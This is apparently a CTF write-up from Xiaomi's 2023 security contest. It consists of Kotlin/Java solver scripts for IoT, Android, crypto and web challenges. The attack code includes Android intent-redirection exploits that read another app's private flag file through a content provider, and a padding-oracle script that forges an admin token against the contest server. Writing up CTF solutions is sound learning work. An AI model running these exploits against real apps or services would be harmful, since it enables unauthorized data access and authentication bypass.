#小米2023CTF安全赛道writeup

package com.sumygg.mictf2023.iot10

val data = arrayOf(
    "111101010011010101010101011011",
//    "111111111111111111111111111111",
    "111101011101111111011111111100",
    "111101010011011111111101111010",
    "111111111111110101110111010110",
    "100110101100100000100110001110",
    "111001010011011111001001111010",
    "111001010011011111111001110000",
)

val digitMap = mapOf<String, String>(
    "1111101" to "0",
    "0101000" to "1",
    "0110111" to "2",
    "0101111" to "3",
    "1101010" to "4",
    "1001111" to "5",
    "1011111" to "6",
    "0101100" to "7",
    "1111111" to "8",
    "1101111" to "9",
    "1111110" to "a",
    "1011011" to "b",
    "1010101" to "c",
    "0111011" to "d",
    "1010111" to "e",
    "1010110" to "f",
)

fun check(used: IntArray) {
    val sb = StringBuilder()
    val digit = CharArray(7)
    for (i in 0 until 29 ) {
        for (j in 0 until data.size) {
            digit[used[j]] = data[j][i]
        }
        val dig = digit.joinToString("")
        if (digitMap.containsKey(dig)) {
            sb.append(digitMap[dig]!!)
        } else {
//            println("not found for ${used.joinToString(",")}")
            return
        }
    }
    println(sb.toString())
}

fun dfs(used: IntArray, level: Int) {
    if (level == 7) {
        check(used)
        return
    }
    for (i in 0 until used.size) {
        if (used[i] < 0) {
            used[i] = level
            dfs(used, level + 1)
            used[i] = -1
        }
    }
}

fun main() {
    val used = IntArray(7) {
        -1
    }
    dfs(used, 0)
}

private val legalChars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/".toCharArray()

/**
 * 简化了一下，去除var1添加空格的干扰
 * @param str
 * @return
 */
fun encode(str: ByteArray): String {
    val len = str.size
    val result = StringBuilder(str.size * 3 / 2)
    var i = 0

    // 原字符串每三位转成新字符串的四位
    while (i <= len - 3) {
        val var4 =
            (str[i].toInt() and 255 shl 16) or (str[i + 1].toInt() and 255 shl 8) or (str[i + 2].toInt() and 255)
        result.append(legalChars[var4 shr 18 and 63])
        result.append(legalChars[var4 shr 12 and 63])
        result.append(legalChars[var4 shr 6 and 63])
        result.append(legalChars[var4 and 63])
        i += 3
    }

    // 不够的最后补等于=
    if (i == len - 2) {
        val var1 = (str[i].toInt() and 255 shl 16) or (str[i + 1].toInt() and 255 shl 8)
        result.append(legalChars[var1 shr 18 and 63])
        result.append(legalChars[var1 shr 12 and 63])
        result.append(legalChars[var1 shr 6 and 63])
        result.append("=")
    } else if (i == len - 1) {
        val var1 = (str[i].toInt() and 255 shl 16)
        result.append(legalChars[var1 shr 18 and 63])
        result.append(legalChars[var1 shr 12 and 63])
        result.append("==")
    }
    return result.toString()
}

fun chi(x: Char): Int {
    return legalChars.indexOf(x)
}

fun decode(str: String): String {
    val result = ArrayList<Byte>()
    var i = 0
    while (i < str.length) {
        // 最后的等号
        if (str[i + 2] == '=') {
            val x = (chi(str[i]) shl 18) or (chi(str[i + 1]) shl 12)
            result.add((x shr 16 and 255).toByte())
        } else if (str[i + 3] == '=') {
            val x = (chi(str[i]) shl 18) or (chi(str[i + 1]) shl 12) or (chi(str[i + 2]) shl 6)
            result.add((x shr 16 and 255).toByte())
            result.add((x shr 8 and 255).toByte())
        } else {
            val x = (chi(str[i]) shl 18) or (chi(str[i + 1]) shl 12) or (chi(str[i + 2]) shl 6) or chi(str[i + 3])
            result.add((x shr 16 and 255).toByte())
            result.add((x shr 8 and 255).toByte())
            result.add((x and 255).toByte())
        }
        i += 4
    }
    return result.toByteArray().decodeToString()
}

package com.sumygg.mictf2023.android_1;

public class Main {

    public static void main(String[] args) {
        String target = "DgGXC18XC19cytvLnJq=";
        String origin = Base64Kt.decode(target);
        System.out.println(origin);
        System.out.println(Base64Kt.encode(origin.getBytes()));
    }
}

package com.sumygg.mictf2023.android_2

fun toLH(n: Int): ByteArray {
    val b = ByteArray(4)
    b[0] = (n and 0xff).toByte()
    b[1] = (n shr 8 and 0xff).toByte()
    b[2] = (n shr 16 and 0xff).toByte()
    b[3] = (n shr 24 and 0xff).toByte()
    return b
}

fun main() {
    val str = "Hello_from_C++"
    val num1 = 251658271
    val num2 = 1073951232
    val num3 = 387712034
    val bytes = toLH(num1) + toLH(num2) + toLH(num3) + byteArrayOf('m'.toByte(), '\n'.toByte())
    val sb = StringBuilder()
    for (i in 0 until 14) {
        sb.append((bytes[i].toInt() xor str[i].toInt()).toChar())
    }
    println("flag{$sb}")
}

fun test() {
    binding.testButton.setOnClickListener {
        val intent = Intent("ACTION_SHARE_TO_ME")
        intent.component = ComponentName("com.mictf.intent0", "com.mictf.intent0.MainActivity")
    
        val next = Intent()
        next.setClassName("com.mictf.intent0", "com.mictf.intent0.flag")
    
        intent.putExtra("exp", next)
        startActivity(intent)
    }
}

package com.sumygg.mictf2023.android_5

val r1 = 0x5B43251CL
val r2 = 0x3FE052A6L

fun liner(seed: Long): Long {
    return ((seed * 25214903917 + 11) and 0xffffffffffff)
}

fun getNext(v1: Long, v2: Long): Long {
    for (i in 0..65535) {
        val seed = (v1 * 65536 + i).toLong()
        if ((liner(seed) shr 16) == v2) {
            println("seed ${seed}")
            return (liner(liner(seed)) shr 16)
        }
    }
    return 0
}

fun main() {
    val r3 = getNext(r1, r2)
    val r4 = getNext(r2, r3)
    println("${r1},${r2},${r3},${r4}")
}

fun main() {
    val nextInt: Int = 0x5B43251C
    val nextInt2: Int = 0x3FE052A6
    val nextInt3: Int = 3987903328.toInt()
    val nextInt4: Int = 1834396842
//    Log.e("Tips", "r1 = 0x5B43251C")
//    Log.e("Tips", "r2 = 0x3FE052A6")
//    Log.e("Tips", "Can you find r3 and r4 ?")
    val res = Encryption.deal(
        "64E17A9C1A7A396E479BD78BEE46FBAA",
        0,
        Encryption.hexStringToBytes(
            String.format("%08X", nextInt) + String.format(
                "%08X",
                nextInt2
            ) + String.format("%08X", nextInt3) + String.format("%08X", nextInt4)
        )
    )
    println(res)
}
// 736D345F346E645F72406E64306D2121

package com.sumygg.mictf2023.android_4

import org.apache.commons.codec.digest.DigestUtils

fun md5(str: String): String {
    return DigestUtils.md5Hex(str)
}

val md5str = "95bc7a9681dc650bb0531110bdcbd65d"

fun crack() {
    val str = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ?.,|\\/~!@#$%^&*()-_=+?{}[]` ;:'\""
    for (ch1 in str) {
        for (ch2 in str) {
            for (ch3 in str) {
                for (ch4 in str) {
                    val x = ch1.toString() + ch2 + ch3 + ch4
                    if (md5(md5(x)) == md5str) {
                        println(x)
                        return
                    }
                }
            }
        }
    }
    println("notfound")
}

fun main() {
    println(md5("xiao"))
    println(md5("mi1I"))
    println(md5("2023"))
    println(md5(md5("ctf!")))
//    crack()
}

package com.sumygg.mictf2023.android_7

import org.apache.commons.codec.binary.Base64
import java.nio.charset.StandardCharsets
import java.security.KeyFactory
import java.security.PrivateKey
import java.security.spec.PKCS8EncodedKeySpec
import javax.crypto.Cipher

fun getPrivateKeyFromString(str: String): PrivateKey {
    val var1 = PKCS8EncodedKeySpec(Base64.decodeBase64(str))
    return KeyFactory.getInstance("RSA").generatePrivate(var1)
}


fun decrypt(s: String, key: PrivateKey): String {
    val instance = Cipher.getInstance("RSA/ECB/PKCS1Padding")
    instance.init(2, key)
    return String(instance.doFinal(Base64.decodeBase64(s)), StandardCharsets.UTF_8)
}

val privateKeyStr =
    "MIIBVAIBADANBgkqhkiG9w0BAQEFAASCAT4wggE6AgEAAkEAhwgY3ay6Ty0W6nUt\n" +
            "yqhiUV4+5/KFwiY3U1YkkAdXwMuB9T367zDkjVEF5bnB2swDt5/O0P08xArhzQ0p\n" +
            "WDoK/QIDAQABAkARKGq8dC/CUsjoJtaYOzgu/apBn9P2PRPnn3kK4hv479G40An/\n" +
            "emfHM4mN1cQT+PD9Eswg+JjohdIxPlH/kQLxAiEAip0SFC1CrqzW35UhlFxdbxNT\n" +
            "DSN10TgPj8tVn84CIrUCIQD5Ynos1RHwiT0HFdpZ/CIojd13TkzYiYPt1V81nnoM\n" +
            "KQIgIspTnE7T2sW01L84g2U/aj6ebMDGtHFurnepkQeCz7UCIQDWO1WvK77EfnCx\n" +
            "pIE16hXB9tS4h8gWAFQYPMMUgbZguQIgN3eGtyJasra6VIg/huHLBRjU3shYh9TN\n" +
            "WOfeyRzQeyw="
val text = "X2l9IVSbjYDgVQ2dLoIZWo55cGUT4Mgx2tJuDjZwi5E+e8kZ28iNINOJdXv9NtVXBiY+ow9kpRtEFbuE3oJr6g=="
fun main() {
    println(decrypt(text, getPrivateKeyFromString(privateKeyStr)))
}

fun decode(str: String): String {
    val sb = StringBuilder()
    for (i in 0 until str.length / 2) {
        val x = str2.indexOf(str[i * 2]) * 16 + str2.indexOf(str[i * 2 + 1])
        sb.append(Char(x xor str1[i].code))
    }
    return sb.toString()
}

// println(decode("020D0F010208090A"))
// fakeflag

fun encode(): String {
    val input = "trueflag"
    val inputLen = input.length
    val output = CharArray(inputLen + 1)
    if (inputLen > 0) {
        var x = 0
        var y = 0
        while (x != inputLen) {
            val ch = str1[y]
            y = y - ((y + (((y + 1) shr 31) shr 29) + 1) and 0xFFFFFF8) + 1
            output[x] = (input[x].code xor ch.code).toChar()
            x++
        }
    }
    output[inputLen] = 0.toChar()
    val output2 = CharArray(2 * inputLen + 1)
    if (inputLen > 0) {
        for (i in 0 until inputLen) {
            val tmp = output[i].code % 16
            output2[2 * i] = str2[output[i].code / 16]
            output2[2 * i + 1] = str2[tmp]
        }
    }
    output2[2 * inputLen] = 0.toChar()
    println(output2.joinToString(""))
}

// 101E11010208090A

package com.sumygg.mictf2023.android_10

// @formatter:off
val opcode = intArrayOf(
 3, 0, 0, 0, 0, 0,
 3, 0, 0, 0, 0, 1,
 3, 0, 0, 0, 0, 2,
 3, 23, 0, 0, 0, 3,
 3, 3, 0, 0, 0, 4,
 3, 87, 4, 0, 0, 5,
 3, 127, 0, 0, 0, 6,
 3, /* a2 */ 25, 0, 0, 0, 7,

 2, 2, 0,
 9, 2,
 1, 3, 1,
 6, 4, 1,
 4, 5, 1,
 8, 6, 1,
 1, 1, 3,
 10, 0, 1,
 11, 10, // jump -> a1
 10, 2, 7,
 11, 222, // jump -> a2
 12,
 0,
 0,
 0, // a1
)
// @formatter:on

var tag = false
val dest =
    intArrayOf(37, 79, 78, 75, 66, 39, 85, 96, 2, 101, 17, 19, 25, 43, 97, 5, 110, 44, 100, 14, 10, 125, 89, 108, 38)
val checkDest = ArrayList<Int>()
fun vm() {
    val register = IntArray(8)
    var pos = 0
    var isRunning = true
    var tmp1 = 0
    while (isRunning) {
        var tmp2: Int
        when (opcode[pos]) {
            // 停机指令
            0 -> isRunning = false
            // op a b 将寄存器a的值赋值给寄存器b b = a
            1 -> {
                register[opcode[pos + 2]] = register[opcode[pos + 1]]
                pos += 2
            }

            // op a b 将寄存器a指向的数据加载到寄存器b b = load(a)
            2 -> {
                register[opcode[pos + 2]] = dest[register[opcode[pos + 1]]]
                pos += 2
            }

            // op x1 x2 x3 x4 e 将常量 x4x3x2x1 加载到寄存器e e = x
            3 -> {
                register[opcode[pos + 5]] =
                    opcode[pos + 1] + (opcode[pos + 2] shl 8) + (opcode[pos + 3] shl 16) + (opcode[pos + 4] shl 24)
                pos += 5
            }

            // op a b 寄存器a累加给寄存器b的值相加 b = a + b
            4 -> {
                register[opcode[pos + 2]] += register[opcode[pos + 1]]
                pos += 2
            }

            // op a b 寄存器a减寄存器b并赋值给寄存器b b = a - b
            5 -> {
                register[opcode[pos + 2]] = register[opcode[pos + 1]] - register[opcode[pos + 2]]
                pos += 2
            }

            // op a b 寄存器a乘以寄存器b并赋值给寄存器b b = a * b
            6 -> {
                register[opcode[pos + 2]] = register[opcode[pos + 1]] * register[opcode[pos + 2]]
                pos += 2
            }

            // op a b 寄存器a除以寄存器b并赋值给寄存器b b = a / b
            7 -> {
                register[opcode[pos + 2]] = register[opcode[pos + 1]] / register[opcode[pos + 2]]
                pos += 2
            }

            // op a b 寄存器b取余寄存器a并赋值给寄存器b b = b % a
            8 -> {
                register[opcode[pos + 2]] %= register[opcode[pos + 1]]
                pos += 2
            }

            // op a 寄存器a自加1
            9 -> {
                tmp2 = opcode[pos + 1]
                register[tmp2]++
                ++pos
            }

            // op a b 判断寄存器a和寄存器b的值是否相等
            10 -> {
                tmp2 = register[opcode[pos + 1]]
                tmp1 = register[opcode[pos + 2]]
                if (pos == 68) {
                    println("${tmp2}-${tmp1}")
//                    tmp2 = tmp1
                    checkDest.add(tmp1)
                }
                pos += 2
                tmp1 = tmp2 - tmp1
            }

            // op a 跳转指令
            11 -> {
                val p = opcode[pos + 1]
                tmp2 = pos
                if (tmp1 != 0) {
                    tmp2 = if (p < 128) {
                        p
                    } else {
                        p - 256
                    }
                    tmp2 = pos + (tmp2 - 2)
                }
                pos = tmp2 + 1
            }

            // 成功
            12 -> {
                tag = true
                println(checkDest.joinToString(","))
                ++pos
            }
        }
        ++pos
    }
}

fun main() {
    vm()
    val origin = intArrayOf(
        67,
        35,
        47,
        44,
        57,
        110,
        33,
        63,
        51,
        22,
        78,
        114,
        87,
        116,
        0,
        104,
        15,
        86,
        85,
        96,
        109,
        34,
        47,
        1,
        91
    )
    val sb = StringBuilder()
    for (i in origin.indices) {
        sb.append(Char(origin[i] xor dest[i]))
    }
    println(sb.toString())
}

fun attack() {
    val pwn = Intent("PWN")
    pwn.setClassName("com.mictf.intent1", "com.mictf.intent1.MainActivity")
    pwn.data =
        Uri.parse("content://com.mictf.flag/root/data/data/com.mictf.intent1/files/flag")
    pwn.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION or
        Intent.FLAG_GRANT_WRITE_URI_PERMISSION)
   
    startActivityForResult(pwn, 0)
}

override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) {
    super.onActivityResult(requestCode, resultCode, data)
    if (data?.action == "PWN") {
        val intentData = data.data
        val isr = InputStreamReader(contentResolver.openInputStream(intentData!!))
        val buf = CharArray(1024)
        val sb = StringBuffer("")
        while (-1 != isr.read(buf, 0, 1024)) {
            sb.append(String(buf))
        }
        val flag = String(sb)
        Toast.makeText(this, flag, Toast.LENGTH_LONG).show()
    }
}

package com.sumygg.mictf2023.web_29

import okhttp3.MediaType.Companion.toMediaType
import okhttp3.OkHttpClient
import okhttp3.Request
import okhttp3.RequestBody.Companion.toRequestBody
import org.apache.commons.codec.binary.Base64


val url = "https://decrypt-ctfd.dun.mi.com/index.php?run=1"
val N = 16
var client = OkHttpClient()
val casCookie = "MIDUN_COOKIE"

fun injectToken(token: String): String {
    val body = "{}".toRequestBody("application/json".toMediaType())
    val request = Request.Builder()
        .url(url)
        .header("Cookie", "${casCookie}PHPSESSID=$phpsession;token=$token")
        .post(body)
        .build()
    val response = client.newCall(request).execute()
    val str = response.body?.string() ?: "Err!empty body"
//    println(str)
    return str
}

fun xor(a: String, b: String): String {
    return a.indices.map { (a[it].code xor b[it % b.length].code).toChar() }.joinToString("")
}

fun pad(str: String, n: Int): String {
    val l = str.length
    if (l != n) {
        return str + ((n - l).toChar().toString().repeat(n - l))

    }
    return str
}

fun paddingOracle(n: Int): String {
    var get = ""
    for (i in 1 until n + 1) {
        for (j in 0 until 256) {
            val padding = xor(get, i.toChar().toString().repeat(i - 1))
            val c = Char(0).toString().repeat(16 - i) + j.toChar() + padding
            val result = injectToken(String(Base64.encodeBase64(c.toByteArray())))
            if ("Err!" !in result) {
                get = (j xor i).toChar() + get
                break
            }
        }
    }
    return get
}

var phpsession = "399476c1af05f00d22d4e318db0ef2a7"
var originToken = "eXlQSmJmdXc2NzI0SmpodQ=="
var token = String(Base64.decodeBase64(originToken))

fun getSessionAndToken() {
    val body = "{}".toRequestBody("application/json".toMediaType())
    val request = Request.Builder()
        .url(url)
        .header("Cookie", "${casCookie}foo=bar")
        .post(body)
        .build()
    val response = client.newCall(request).execute()
    val responseCookie = response.headers("Set-Cookie")
    val cookies = HashMap<String, String>()
    for (setCookie in responseCookie) {
        println(setCookie)
        val match = "([^=]+)=([^\\;]+);?.*".toPattern().matcher(setCookie)
        if (match.matches()) {
            cookies[match.group(1)] = match.group(2)
        }
    }
    phpsession = "${cookies["PHPSESSID"]}"
    originToken = "${cookies["token"]}".replace("%3D", "=")
    token = String(Base64.decodeBase64(originToken))
}

fun main() {
    while (true) {
//        getSessionAndToken()
        println(phpsession)
        println(originToken)
        val middle1 = paddingOracle(N)
        println(middle1)
        println(middle1.length)
        if (middle1.length + 1 == 16) {
            for (i in 0 until 256) {
                val middle = i.toChar() + middle1
                println("token:${token}")
                println("middle:${middle}")
                val plaintext = xor(middle, token)
                println("plaintext:${plaintext}")
                val des = pad("admin", N)
                var tmp = ""
                for (j in 0 until 16) {
                    tmp += (token[j].code xor plaintext[j].code xor des[j].code).toChar()
                }
                val encodeTmp = String(Base64.encodeBase64(tmp.toByteArray()))
                println("tmp:${encodeTmp}")
                val result = injectToken(encodeTmp)
                println(result)
                println()
            }
        }
    }
}